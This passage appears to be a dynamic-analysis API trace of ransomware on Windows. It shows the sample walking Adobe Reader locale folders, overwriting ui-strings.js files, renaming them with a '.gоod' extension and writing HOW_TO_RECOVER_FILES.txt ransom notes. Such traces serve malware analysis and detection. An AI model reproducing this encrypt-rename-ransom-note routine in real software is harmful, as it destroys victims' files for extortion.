(in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0169.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0169.460] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x61388405, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d49)) returned 1 [0169.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0169.460] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js.gоod")) returned 1 [0169.461] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0169.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0169.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0169.462] GetFileType (hFile=0x640) returned 0x1 [0169.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0169.462] GetFileType (hFile=0x640) returned 0x1 [0169.462] WriteFile (in: hFile=0x640, lpBuffer=0x35e15b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35e15b0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0169.463] CloseHandle (hObject=0x640) returned 1 [0169.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0169.463] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro", lpFilePart=0x0) returned 0x69 [0169.463] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0169.464] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.464] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0169.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0169.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0169.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0169.464] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro", lpFilePart=0x0) returned 0x69 [0169.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0169.465] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.465] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0169.465] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0169.465] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0169.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0169.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0169.465] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0169.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35f1188 | out: lpFileInformation=0x35f1188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96)) returned 1 [0169.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0169.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0169.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0169.466] GetFileType (hFile=0x640) returned 0x1 [0169.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0169.466] GetFileType (hFile=0x640) returned 0x1 [0169.466] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0169.466] ReadFile (in: hFile=0x640, lpBuffer=0x35f1660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35f1660*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0169.571] CloseHandle (hObject=0x640) returned 1 [0170.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.134] GetFileType (hFile=0x640) returned 0x1 [0170.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.134] GetFileType (hFile=0x640) returned 0x1 [0170.134] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3f96 [0170.134] WriteFile (in: hFile=0x640, lpBuffer=0x3741e70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3741e70*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0170.135] CloseHandle (hObject=0x640) returned 1 [0170.135] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.135] GetFileType (hFile=0x640) returned 0x1 [0170.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.135] GetFileType (hFile=0x640) returned 0x1 [0170.136] ReadFile (in: hFile=0x640, lpBuffer=0x37441b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x37441b0*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0170.164] CloseHandle (hObject=0x640) returned 1 [0170.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.164] GetFileType (hFile=0x640) returned 0x1 [0170.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.165] GetFileType (hFile=0x640) returned 0x1 [0170.165] WriteFile (in: hFile=0x640, lpBuffer=0x3742ea8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3742ea8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0170.165] CloseHandle (hObject=0x640) returned 1 [0170.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0170.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0170.165] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x61a4ab63, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6)) returned 1 [0170.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0170.165] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js.gоod")) returned 1 [0170.166] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0170.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0170.166] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ro-ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0170.429] GetFileType (hFile=0x640) returned 0x1 [0170.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0170.429] GetFileType (hFile=0x640) returned 0x1 [0170.430] WriteFile (in: hFile=0x640, lpBuffer=0x33f66b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x33f66b0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0170.431] CloseHandle (hObject=0x640) returned 1 [0170.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0170.431] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root", lpFilePart=0x0) returned 0x68 [0170.432] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0170.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.432] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0170.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0170.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0170.432] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root", lpFilePart=0x0) returned 0x68 [0170.433] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.433] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, 